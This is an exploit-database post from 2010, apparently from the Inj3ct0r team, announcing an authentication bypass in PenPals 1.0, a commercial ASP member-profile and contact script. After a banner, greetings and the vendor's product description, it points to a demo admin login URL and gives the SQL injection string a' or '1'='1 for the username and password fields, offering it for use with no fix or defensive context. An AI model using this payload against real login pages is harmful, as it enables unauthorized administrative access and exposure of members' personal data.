PenPals 1.0 SQL Injection

`1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ########################################## 1  
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1  
1 ########################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1  
Author: L0rd CrusAd3r aka VSN [[email protected]]  
Exploit Title: PenPals Authentication Bypass  
Vendor url:http://www.anblik.com  
Version:1.0  
Price:1200$  
Published: 2010-06-17  
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to all ICW members.  
Spl Greetz to:inj3ct0r.com Team, Andhra hackers.com  
  
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~  
  
Description:  
  
This ASP/XHTML/CSS script allows your members to upload and maintain their personal details on your website. Members can view each others details and add them in their personal contact wallet. Adding members to contact wallet may be free or restricted or payable, all these can be configured and set from the site administration area. From the administration area many member groups for member registration can be created with various levels of features - like whether the group members can list their profile or the number of profiles that a member can access or even whether a member can mark their profile a featured one. Members can chat with other members through ICQ/Yahoo and can also send virtual flowers to other members in the site. All the pages in the website are created following XHTML(Transitional) guidelines with pure table-less Liquid theme design and Search Engine Optimization in mind.  
  
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~  
  
Vulnerability:  
  
*Authentication Bypass  
  
DEMO URL :  
  
http://penpal.ankoor.com/admin/login.asp  
  
Use the string a' or '1'='1 for Username and Password to gain access.  
  
  
# 0day n0 m0re #  
# L0rd CrusAd3r #  
  
`